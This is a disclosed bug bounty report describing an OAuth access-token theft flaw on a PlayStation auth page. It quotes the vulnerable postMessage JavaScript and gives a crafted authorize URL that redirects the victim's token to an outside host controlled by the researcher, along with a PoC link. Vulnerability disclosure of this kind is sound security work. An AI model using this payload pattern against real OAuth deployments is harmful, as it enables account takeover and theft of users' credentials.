HexBrain

PlayStation · Report #821896

Access token stealing.

Validstatus
highseverity
$1,200bounty
177upvotes
21 Nov 2020disclosed

Summary

Summary:

https://my.playstation.com/auth/response.html suffers from a misconfiguration which leads to access token stealing.

Description:

The page https://my.playstation.com/auth/response.html?requestID=iframe_request_ca8b5107-9b8f-4510-9667-15fd7b9327d1&baseUrl=/&targetOrigin=https://my.playstation.com hosts a javascript which is responsible for transferring OAuth access token from the issuing server to the client.

On analyzing this javascript we found an issue which leads to an access token stealing.

    function parseResponse(a) {
    var b = a.hash.substr(1),
        c = a.search.substr(1),
        d = b + "&" + c,
        e = convertToObject(d);
    return e.refererURL = a.toString(), e
}

....
....
....
function sendResponseToApp(a) {
    var b = extractFrameTypeFromRequestID(a.requestID),
        c = a.targetOrigin || getOrigin(),
        d = a.baseUrl || "",
        e = a.returnRoute || "",
        f = a.excludeQueryParams,
        g = !f && window.location.search || "";
    switch (b) {
        case "iframe":
            window.parent.postMessage(a, c);
            break;
        case "window":
            window.opener.postMessage(a, c);
            break;
        case "external":
        default:
            var h = constructUrl(c, d, e) + g;
            /^(https:\/\/)([a-z0-9\-]+\.)+(playstation\.com)(:([0-9]){4})?\//.test(h) ?
             window.location.href = h : window.location.href = "https://playstation.com/error"
    }
}


var response = parseResponse(window.location);
sendResponseToApp(response);
var b = extractFrameTypeFromRequestID(a.requestID),
...
switch (b)
  case "window":
            window.opener.postMessage(a, c);
            break;

To get into the window case we need to start the requestID parameter value from window keyword. a => window.location c => a.targetOrigin which is the query parameter targetOrigin extracted using the function parseResponse. a,c are passed to window.opener.postMessage() which takes the first argument as the message itself and second as the origin where to send the message.

Our payload URL will become something like this: https://my.playstation.com/auth/response.html?requestID=window_request_ca8b5107-9b8f-4510-9667-15fd7b9327d1&baseUrl=/&targetOrigin=https://rce.ee/

We pass this payload URL to the OAuth issuing server: https://auth.api.sonyentertainmentnetwork.com/2.0/oauth/authorize?response_type=token&scope=capone%3Areport_submission%2Ckamaji%3Agame_list%2Ckamaji%3Aget_account_hash%2Cuser%3Aaccount.get%2Cuser%3Aaccount.profile.get%2Ckamaji%3Asocial_get_graph%2Ckamaji%3Augc%3Adistributor%2Cuser%3Aaccount.identityMapper%2Ckamaji%3Amusic_views%2Ckamaji%3Aactivity_feed_get_feed_privacy%2Ckamaji%3Aactivity_feed_get_news_feed%2Ckamaji%3Aactivity_feed_submit_feed_story%2Ckamaji%3Aactivity_feed_internal_feed_submit_story%2Ckamaji%3Aaccount_link_token_web%2Ckamaji%3Augc%3Adistributor_web%2Ckamaji%3Aurl_preview&client_id=656ace0b-d627-47e6-915c-13b259cd06b2&redirect_uri=https%3a//my.playstation.com/auth/response.html%3frequestID%3dwindow_request_ca8b5107-9b8f-4510-9667-15fd7b9327d1%26baseUrl%3d/%26targetOrigin%3dhttps%3a//rce.ee/&prompt=none

Here's the final PoC : https://rce.ee/psoauthbypass1007.html

Steps to reproduce:

Open https://playstation.com/ Login with your account Open and click! https://rce.ee/psoauthbypass1007.html

Impact

Access token stealing/account takeover.

This was found In collaboration with @iamnoooob.

How it was found

The write-up for this report has not been downloaded yet, or the program disclosed it without one. Read it on HackerOne.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original